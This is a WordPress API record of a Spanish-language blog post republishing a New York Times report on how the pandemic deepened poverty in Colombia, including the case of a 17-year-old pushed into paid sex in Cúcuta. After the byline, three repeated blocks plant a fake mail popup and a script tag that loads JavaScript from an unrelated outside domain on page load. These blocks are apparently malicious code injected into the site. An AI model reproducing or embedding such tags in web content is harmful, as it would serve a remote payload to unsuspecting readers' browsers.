class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Daversa, quien estudi\u00f3 gesti\u00f3n ambiental en Venezuela, esperaba ahorrar dinero en Bogot\u00e1 y volver a su pa\u00eds para abrir un negocio. Ahora estaba de vuelta, peor que cuando se fue.<\/span><\/p>\n<figure style=\"width: 682px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/static01.nyt.com\/images\/2020\/06\/17\/world\/11colombiaroadtrip-ES-12\/00colombia-cucuta-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"682\" height=\"455\" \/><figcaption class=\"wp-caption-text\">En C\u00facuta, el cierre econ\u00f3mico ha orillado a mujeres y ni\u00f1as a acudir a los parques locales, donde los hombres les pagan por sexo.<\/figcaption><\/figure>\n<\/div>\n<div class=\"css-53u6y8\">\n<h3 class=\"css-158dogj evys1bk0\"><strong class=\"css-8qgvsz ebyp5n10\">C\u00facuta<\/strong><\/h3>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">En C\u00facuta, una ciudad pegada a la frontera venezolana, una joven de 17 a\u00f1os estaba de pie con una camiseta color cereza y shorts de mezclilla, mientras tiraba de un bolso con un lazo brillante y balanceaba nerviosamente un tal\u00f3n. Unos pocos hombres se acercaron. Una larga fila de carros pas\u00f3 rugiendo.<\/span><\/p>\n<div class=\"css-53u6y8\">\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Cuando comenz\u00f3 el confinamiento, su padre perdi\u00f3 su trabajo en la construcci\u00f3n y el refrigerador se vaci\u00f3. Empujada a la desesperaci\u00f3n, tom\u00f3 la dif\u00edcil decisi\u00f3n de ir a un parque local, donde los hombres comenzaron a pagarle por sexo, seis d\u00f3lares por encuentro. Ah\u00ed ni siquiera era la m\u00e1s joven en hacerlo.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Alguien ten\u00eda que traer dinero, dice, \u201cme toc\u00f3\u201d.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Antes de la crisis, vend\u00eda art\u00edculos peque\u00f1os \u2014cigarrillos, caramelos\u2014 en la calle. Pero siempre hab\u00eda so\u00f1ado con volver a la escuela y convertirse en una crimin\u00f3loga como esas poderosas mujeres de la televisi\u00f3n. Tener relaciones sexuales con extra\u00f1os es \u201chorrible\u201d, dijo, y cuando tiene que hacerlo, para distraerse, se imagina a s\u00ed misma en un sal\u00f3n de clases, con sus amigos.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">En las \u00faltimas dos d\u00e9cadas, la asistencia a la escuela y el aumento del acceso al control de la natalidad jugaron un papel crucial en la reducci\u00f3n de la brecha de la riqueza en el pa\u00eds, al permitir a millones de mujeres estudiar y trabajar, cuando tantas de sus madres se vieron obligadas a quedarse en el hogar.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Sin embargo, cuando la pandemia lleg\u00f3, el n\u00famero de mujeres forzadas a prostituirse aument\u00f3 en C\u00facuta, dijo Alejandra Vera, directora de <a class=\"css-1g7m0tk\" title=\"\" href=\"https:\/\/www.facebook.com\/CORPORACIONMDYM\/\" target=\"_blank\" rel=\"noopener noreferrer\">un grupo local de apoyo<\/a>. Tambi\u00e9n lo hizo la cantidad de embarazos no deseados, ya que las restricciones de viaje y la p\u00e9rdida de empleos dificultaron la obtenci\u00f3n de condones y otro tipo de anticonceptivos.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Una ma\u00f1ana, la joven de 17 a\u00f1os, cuyo nombre no revelamos porque es menor de edad, se despert\u00f3 antes del amanecer ante las s\u00faplicas de su hijo, de seis meses, que quer\u00eda caminar por el piso y jugar.<\/span><\/p>\n<figure style=\"width: 698px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/static01.nyt.com\/images\/2020\/07\/12\/world\/11colombiaroadtrip-ES-13\/00colombia-cucuta-02-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"698\" height=\"466\" \/><figcaption class=\"wp-caption-text\">La joven de 17 a\u00f1os y su hijo, antes de irse al parque<\/figcaption><\/figure>\n<figure style=\"width: 701px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/static01.nyt.com\/images\/2020\/06\/17\/world\/11colombiaroadtrip-ES-14\/00colombia-cucuta-03-superJumbo.jpg?quality=90&amp;auto=webp\" alt=\"\" width=\"701\" height=\"468\" \/><figcaption class=\"wp-caption-text\">La joven antes de irse al trabajo<\/figcaption><\/figure>\n<\/div>\n<div class=\"css-53u6y8\">\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Hizo caf\u00e9 y dej\u00f3 al ni\u00f1o con su padre en una casa al final de la calle. Su madre, de 54 a\u00f1os, la vio marcharse desde el patio. Sab\u00eda lo que estaba haciendo su hija. Es dif\u00edcil para ella hablar de eso.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">\u201cNo critico ni condeno\u201d, dijo la madre.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">\u201cTrabajos ahora no hay\u201d, agreg\u00f3, derrumb\u00e1ndose. \u201cEsto no es una vida\u201d.<\/span><\/p>\n<h3 class=\"css-158dogj evys1bk0\"><strong class=\"css-8qgvsz ebyp5n10\">Bogot\u00e1<\/strong><\/h3>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">De vuelta en Bogot\u00e1, Abello, la madre que hab\u00eda sido desalojada dos veces en medio de la pandemia, se mud\u00f3 con una amiga, ambas familias api\u00f1adas juntas.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Karol, la aspirante a enfermera, estaba haciendo todo lo posible para mantenerse al d\u00eda con sus clases, pero no pod\u00eda iniciar sesi\u00f3n en la p\u00e1gina web de la escuela sin internet, por lo que una amiga descarg\u00f3 las tareas y se las envi\u00f3 por mensaje de texto. Luego las complet\u00f3 a mano, tom\u00f3 fotos y las devolvi\u00f3 por la misma v\u00eda. Pero fue dif\u00edcil, y le preocupaba estar atras\u00e1ndose.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Nicol, la hija m\u00e1s joven, cumpli\u00f3 15 a\u00f1os. Tuvieron una peque\u00f1a celebraci\u00f3n, solo la familia, y ella visti\u00f3 el viejo vestido de Karol, negro, con tul.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Cuando la cuarentena se flexibiliz\u00f3, Abello finalmente regres\u00f3 a su trabajo de limpieza en una panader\u00eda. Pero sus clientes de las casas nunca le pidieron que volviera, y ahora gana aproximadamente la mitad que antes. No estaba claro cu\u00e1ndo podr\u00edan mudarse a un lugar propio.<\/span><\/p>\n<p class=\"css-158dogj evys1bk0\" style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">\u201cA mi mam\u00e1 dif\u00edcil le agarr\u00f3\u201d, dijo Karol. \u201cEspero que apenas acabe esto, mi mam\u00e1 pueda conseguir un nuevo trabajo para volver a lo de antes\u201d.<\/span><\/p>\n<p><span style=\"font-size: 12pt;\">\u201cPues, ojal\u00e1\u201d, dijo.<\/span><\/p>\n<div class=\"css-vp77d3 epjyd6m0\">\n<div class=\"css-1baulvz\">\n<p class=\"css-tq7f9c e1jsehar1\"><strong><span style=\"font-size: 14pt;\">Por <a class=\"css-brehiz e1jsehar0\" href=\"https:\/\/www.nytimes.com\/by\/julie-turkewitz\"><span class=\"css-1baulvz\">Julie Turkewitz<\/span><\/a> y <span class=\"css-1baulvz last-byline\">Sof\u00eda Villamil<\/span><\/span><\/strong><\/p>\n<p><span style=\"font-size: 14pt;\"><strong>Fotografias de\u00a0 <span class=\"css-1baulvz last-byline\">Federico Rios<\/span><\/strong><\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Original: <a href=\"https:\/\/www.nytimes.com\/2020\/07\/11\/world\/americas\/coronavirus-latin-america-inequality.html\">In Latin America the pandemia theatens Equality Lik Never<\/a><\/span><\/strong><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Fuente: <a href=\"https:\/\/www.nytimes.com\/es\/2020\/07\/11\/espanol\/america-latina\/desigualdad-coronavirus-america-latina-colombia.html\">The New York Times<\/a>, 11 de julio de 2020<\/span><\/strong><\/p>\n<p style=\"text-align: center;\"><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/sYNWMEKJr64\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/p>\n<\/div>\n<\/div>\n<div><img \/><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/p>\n<\/div>\n<\/div>\n<div><img \/><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/div>\n<\/div>\n<div><img \/><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Colombia es portada del New York Times por la pobreza que ha tra\u00eddo Duque al pa\u00eds. Doloroso retroceso social de 20 a\u00f1os . Crecimiento de las desigualdades y favorecimiento de banqueros y grandes corporaciones. <\/p>\n","protected":false},"author":45,"featured_media":20041,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[217],"tags":[65,9882,9885,9886,9883,9884],"coauthors":[423],"class_list":["post-20038","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-abya-yala","tag-abya-yala","tag-crisis-que-sufren-los-venezolanos-en-colombia","tag-desigualdad-y-desastre-economico","tag-doloroso-retroceso-social","tag-la-desigualdad-en-colombia","tag-politicas-sociales-presidente-de-colombia-ivan-duque"],"translation":{"provider":"WPGlobus","version":"2.12.2","language":"fr","enabled_languages":["es","fr"],"languages":{"es":{"title":true,"content":true,"excerpt":true},"fr":{"title":false,"content":false,"excerpt":false}}},"_links":{"self":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/20038","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/comments?post=20038"}],"version-history":[{"count":7,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/20038\/revisions"}],"predecessor-version":[{"id":20074,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/20038\/revisions\/20074"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media\/20041"}],"wp:attachment":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media?parent=20038"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/categories?post=20038"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/tags?post=20038"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/coauthors?post=20038"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}